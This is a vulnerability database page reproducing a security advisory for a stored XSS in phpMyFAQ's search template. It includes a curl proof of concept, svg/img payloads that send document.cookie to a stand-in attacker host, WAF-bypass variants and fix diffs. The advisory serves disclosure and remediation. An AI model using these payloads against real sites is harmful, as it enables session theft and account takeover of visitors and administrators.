GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-PQH6-8FXF-JX22

Vulnerability from github – Published: 2026-05-06 20:31 – Updated: 2026-06-09 00:02
VLAI
Summary
phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Details

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.


Affected Files

File Location Issue
phpmyfaq/assets/templates/default/search.twig lines rendering result.question, result.answerPreview (Vertical Bar) raw disables autoescape
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php search result processing loop html_entity_decode(strip_tags(...)) restores encoded payloads
phpmyfaq/src/phpMyFAQ/Search.php logSearchTerm() No HTML sanitization on stored search term (secondary, preventive)

Details

Vulnerability A (Primary): search.twig| raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of | raw exist in search.twig:

{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.


Vulnerability B (Amplifier): SearchController.phphtml_entity_decode(strip_tags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

$data->answer = html_entity_decode(
    strip_tags((string) $data->answer),
    ENT_COMPAT,
    encoding: 'utf-8'
);

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough:

Stored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags()   → no change (no real tags detected)
               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output   → executes in browser

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:

<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>

Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

  1. Retrieves the record from the database
  2. Applies strip_tags() → entity-encoded payload passes through
  3. Applies html_entity_decode() → raw <svg onload=...> is restored
  4. Passes the value to search.twig as result.answerPreview
  5. Template renders with | raw → XSS executes

Step 4 — Impact

  • Session cookie exfiltration → full account takeover
  • Administrator session hijacking (admin visiting search page)
  • Persistent attack: payload fires for every visitor until manually removed
  • Potential for worm propagation via auto-created FAQ entries

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=<editor_session>' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "searchable-keyword",
      "author": "attacker",
      "email": "attacker@example.com"
    }
  }'

Step 2 — Trigger XSS as victim:

https://target.example.com/search.html?search=searchable-keyword

The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

&lt;details open ontoggle=alert(document.cookie)&gt;
&lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

Impact

  • Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
  • Integrity : DOM manipulation, phishing overlay injection.
  • Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php

- $data->answer = html_entity_decode(
-     strip_tags((string) $data->answer),
-     ENT_COMPAT,
-     encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

{{ searchTags | raw }}       → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw
{{ pagination | raw }}       → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

  $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+     $this->configuration->getDb()->escape($searchTerm),
+     ENT_QUOTES | ENT_HTML5,
+     'UTF-8'
+ )

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:31:54Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig\u0027s `| raw` filter, which completely disables the template engine\u0027s built-in auto-escaping.\n\nA user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags \u2014 bypassing `strip_tags()` \u2014 and the restored payload is injected into every visitor\u0027s browser via the `| raw` output.\n\nThis vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.\n\n---\n\n## Affected Files\n\n| File | Location | Issue |\n|---|---|---|\n| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` |  `(Vertical Bar) raw` disables autoescape |\n| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |\n| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |\n\n---\n\n## Details\n\n### Vulnerability A (Primary): `search.twig` \u2014 `| raw` Disables Autoescape\n\n**File:** `phpmyfaq/assets/templates/default/search.twig`\n\n```twig\n\u003ca title=\"Test\" href=\"{{ result.url }}\"\u003e{{ result.question | raw }}\u003c/a\u003e\n\u003csmall class=\"small\"\u003e{{ result.answerPreview | raw }}...\u003c/small\u003e\n```\n\nTwig\u0027s autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.\n\nSeven (7) instances of `| raw` exist in `search.twig`:\n\n```twig\n{{ result.renderedScore | raw }}\n{{ result.question | raw }}\n{{ result.answerPreview | raw }}\n{{ searchTags | raw }}\n{{ relatedTags | raw }}\n{{ pagination | raw }}\n{{ \u0027help_search\u0027 | translate | raw }}\n```\n\nEach of these constitutes an independent XSS surface if its data source is compromised.\n\n---\n\n### Vulnerability B (Amplifier): `SearchController.php` \u2014 `html_entity_decode(strip_tags())` Bypass\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`\n\n```php\n$data-\u003eanswer = html_entity_decode(\n    strip_tags((string) $data-\u003eanswer),\n    ENT_COMPAT,\n    encoding: \u0027utf-8\u0027\n);\n```\n\nThis pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags \u2014 reintroducing executable markup that was thought to be neutralized.\n\n**Bypass walkthrough:**\n```text\nStored in DB:    \u003csvg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)\u003e\nstrip_tags()   \u2192 no change (no real tags detected)\n               \u2192 \u003csvg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)\u003e\nhtml_entity_decode() \u2192 \u003csvg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)\u003e\n| raw output   \u2192 executes in browser\n```\n---\n\n## Attack Chain\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 \u2014 Payload injection**\n\nAttacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:\n```html\n\u003csvg onload=fetch(\u0027[https://attacker.com/?c=\u0027+document.cookie](https://attacker.com/?c=%27+document.cookie))\u003e\n\u003cimg src=x onerror=fetch(\u0027[https://attacker.com/?c=\u0027+document.cookie](https://attacker.com/?c=%27+document.cookie))\u003e\n```\n**Step 2 \u2014 Persistence**\n\nThe payload is stored in the DB without HTML sanitization at the storage layer.\n\n**Step 3 \u2014 Victim triggers the XSS**\n\nAny user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:\n\n1. Retrieves the record from the database\n2. Applies `strip_tags()` \u2192 entity-encoded payload passes through\n3. Applies `html_entity_decode()` \u2192 raw `\u003csvg onload=...\u003e` is restored\n4. Passes the value to `search.twig` as `result.answerPreview`\n5. Template renders with `| raw` \u2192 XSS executes\n\n**Step 4 \u2014 Impact**\n\n- Session cookie exfiltration \u2192 full account takeover\n- Administrator session hijacking (admin visiting search page)\n- Persistent attack: payload fires for every visitor until manually removed\n- Potential for worm propagation via auto-created FAQ entries\n\n---\n\n## PoC\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 \u2014 Inject payload via FAQ editor:**\n\n```bash\ncurl -X POST \u0027https://target.example.com/admin/api/faq/create\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Cookie: PHPSESSID=\u003ceditor_session\u003e\u0027 \\\n  -d \u0027{\n    \"data\": {\n      \"pmf-csrf-token\": \"\u003cvalid_csrf_token\u003e\",\n      \"question\": \"\u0026lt;svg onload=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)\u0026gt;\",\n      \"answer\": \"\u0026lt;img src=x onerror=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)\u0026gt;\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"searchable-keyword\",\n      \"author\": \"attacker\",\n      \"email\": \"attacker@example.com\"\n    }\n  }\u0027\n```\n\n**Step 2 \u2014 Trigger XSS as victim:**\n```\nhttps://target.example.com/search.html?search=searchable-keyword\n```\nThe search result page renders the restored `\u003csvg onload=...\u003e` payload. The attacker\u0027s server receives the victim\u0027s session cookie.\n\n**Alternative payloads (for WAF bypass):**\n\n```html\n\u0026lt;details open ontoggle=alert(document.cookie)\u0026gt;\n\u0026lt;iframe srcdoc=\"\u0026amp;lt;script\u0026amp;gt;parent.location=\u0027https://attacker.com/?c=\u0027+document.cookie\u0026amp;lt;/script\u0026amp;gt;\"\u0026gt;\n```\n\n---\n\n## Impact\n\n- **Confidentiality :** Session cookie exfiltration and credential theft\n  via JavaScript execution in victim\u0027s browser context.\n- **Integrity :** DOM manipulation, phishing overlay injection.\n- **Scope :** Attack crosses from contributor privilege context\n  to all site visitors, including administrators.\n\n---\n\n## Recommended Fix\n\n### Fix 1 (Critical) \u2014 Remove `| raw` from user-controlled fields in `search.twig`\n\n```diff\n- \u003ca href=\"{{ result.url }}\"\u003e{{ result.question | raw }}\u003c/a\u003e\n- \u003csmall\u003e{{ result.answerPreview | raw }}...\u003c/small\u003e\n+ \u003ca href=\"{{ result.url }}\"\u003e{{ result.question }}\u003c/a\u003e\n+ \u003csmall\u003e{{ result.answerPreview }}...\u003c/small\u003e\n```\n\nIf HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output.\n\n### Fix 2 (Critical) \u2014 Remove `html_entity_decode()` from search result pipeline `SearchController.php`\n\n```diff\n- $data-\u003eanswer = html_entity_decode(\n-     strip_tags((string) $data-\u003eanswer),\n-     ENT_COMPAT,\n-     encoding: \u0027utf-8\u0027\n- );\n+ $data-\u003eanswer = strip_tags((string) $data-\u003eanswer);\n  $data-\u003eanswer = Utils::makeShorterText(string: $data-\u003eanswer, characters: 12);\n```\n\n### Fix 3 (Recommended) \u2014 Audit all `| raw` usages in `search.twig`\n\nThe following additional `| raw` instances should be reviewed and sanitized:\n\n```twig\n{{ searchTags | raw }}       \u2192 apply HTML Purifier or remove | raw\n{{ relatedTags | raw }}      \u2192 apply HTML Purifier or remove | raw\n{{ pagination | raw }}       \u2192 safe only if generated entirely server-side with no user input\n```\n\n### Fix 4 (Preventive) \u2014 Add `htmlspecialchars()` in `logSearchTerm()`\n\n```diff\n  $this-\u003econfiguration-\u003egetDb()-\u003eescape($searchTerm)\n+ htmlspecialchars(\n+     $this-\u003econfiguration-\u003egetDb()-\u003eescape($searchTerm),\n+     ENT_QUOTES | ENT_HTML5,\n+     \u0027UTF-8\u0027\n+ )\n```\n\n---",
  "id": "GHSA-pqh6-8fxf-jx22",
  "modified": "2026-06-09T00:02:59Z",
  "published": "2026-05-06T20:31:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46361"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phpmyfaq-stored-cross-site-scripting-via-raw-filter-in-search-twig"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has stored XSS via | raw Filter in search.twig \u2014 html_entity_decode(strip_tags()) Bypass in Search Result Rendering"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…